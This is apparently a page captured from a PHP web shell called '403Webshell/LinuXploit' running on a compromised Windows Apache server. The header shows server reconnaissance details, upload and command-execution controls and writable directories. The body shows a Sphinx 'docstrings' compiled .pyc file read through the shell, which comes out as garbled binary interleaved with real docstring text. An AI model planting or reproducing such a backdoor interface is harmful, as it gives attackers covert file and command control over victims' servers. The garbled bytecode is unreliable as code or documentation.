403Webshell
Server IP : 127.0.0.1  /  Your IP : 216.73.216.109
Web Server : Apache/2.4.54 (Win64) OpenSSL/1.1.1q PHP/8.1.10
System : Windows NT DESKTOP-E5T4RUN 10.0 build 19045 (Windows 10) AMD64
User : SERVERWEB ( 0)
PHP Version : 8.1.10
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : OFF |  Perl : OFF |  Python : OFF |  Sudo : OFF |  Pkexec : OFF
Directory :  C:/cygwin64/lib/python3.9/site-packages/sphinx/util/__pycache__/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : C:/cygwin64/lib/python3.9/site-packages/sphinx/util/__pycache__/docstrings.cpython-39.pyc
a

�ab��@s�dZddlZddlZddlZddlmZmZmZddlm	Z	ddl
mZmZe�
e	jd�Zeeeeeeffd�dd	�Zeeeefd�d
d�Zdeeeeed
�dd�Zeeed�dd�ZdS)z�
    sphinx.util.docstrings
    ~~~~~~~~~~~~~~~~~~~~~~

    Utilities for docstring processing.

    :copyright: Copyright 2007-2022 by the Sphinx team, see AUTHORS.
    :license: BSD, see LICENSE for details.
�N)�Dict�List�Tuple)�Body)�RemovedInSphinx50Warning�RemovedInSphinx60WarningZfield_marker)�s�returncCs�d}i}g}|s||fSt|�D]�}|��dkr@d}|�|�q t�|�}|r�|s�|��dd��dd�d}|�d�r�|dd���}||��d���||<q�|�|�q d	}|�|�q d
�	|�|fS)z,Separate docstring into metadata and others.F��N�:rzmeta �T�
)
�prepare_docstring�strip�append�field_list_item_re�match�group�split�
startswith�end�join)rZin_other_element�metadata�lines�lineZmatched�
field_name�name�r�:/usr/lib/python3.9/site-packages/sphinx/util/docstrings.py�separate_metadatas&

r cCs tjdtdd�t|�\}}|S)Nz!extract_metadata() is deprecated.���
stacklevel)�warnings�warnrr )rZ	docstringrrrr�extract_metadata4s
�r&�)r�ignore�tabsizer	c	Cs�|durd}ntjdtdd�|�|���}tj}||d�D]*}t|���}|r>t|�|}t	||�}q>t
|�D] }|t|�krr||��||<qr|tjkr�t
|t|��D]}|||d�||<q�|r�|ds�|�d�q�|r�|dr�|�d�|S)	a�Convert a docstring into lines of parseable reST.  Remove common leading
    indentation, where the indentation of a given number of lines (usually just
    one) is ignored.

    Return the docstring as a list of lines usable for inserting into a docutils
    ViewList (used as argument of nested_parse().)  An empty line is added to
    act as a separator between this docstring and following content.
    Nrz;The 'ignore' argument to prepare_docstring() is deprecated.r!r"r���r
)
r$r%r�
expandtabs�
splitlines�sys�maxsize�len�lstrip�min�range�popr)	rr(r)rZmarginrZcontent�indent�irrrr<s.	�

rcCszg}dd�|����D�}|D]@}|�d�r|dd�}|rT|ddkrT|dd�}|�|�q|rv|d	rv|�d
�|S)z�Extract documentation comment lines (starting with #:) and return them
    as a list of lines.  Returns an empty list if there is no documentation.
    cSsg|]}|���qSr)r)�.0rrrr�
<listcomp>h�z&prepare_commentdoc.<locals>.<listcomp>z#:r!Nr� rr*r
)r+r,rr)r�resultrrrrr�prepare_commentdoccs

r;)Nr')�__doc__�rer-r$�typingrrrZdocutils.parsers.rst.statesrZsphinx.deprecationrr�compile�patternsr�strr r&�intrr;rrrr�<module>s
 '

Youez - 2016 - github.com/yon3zu
LinuXploit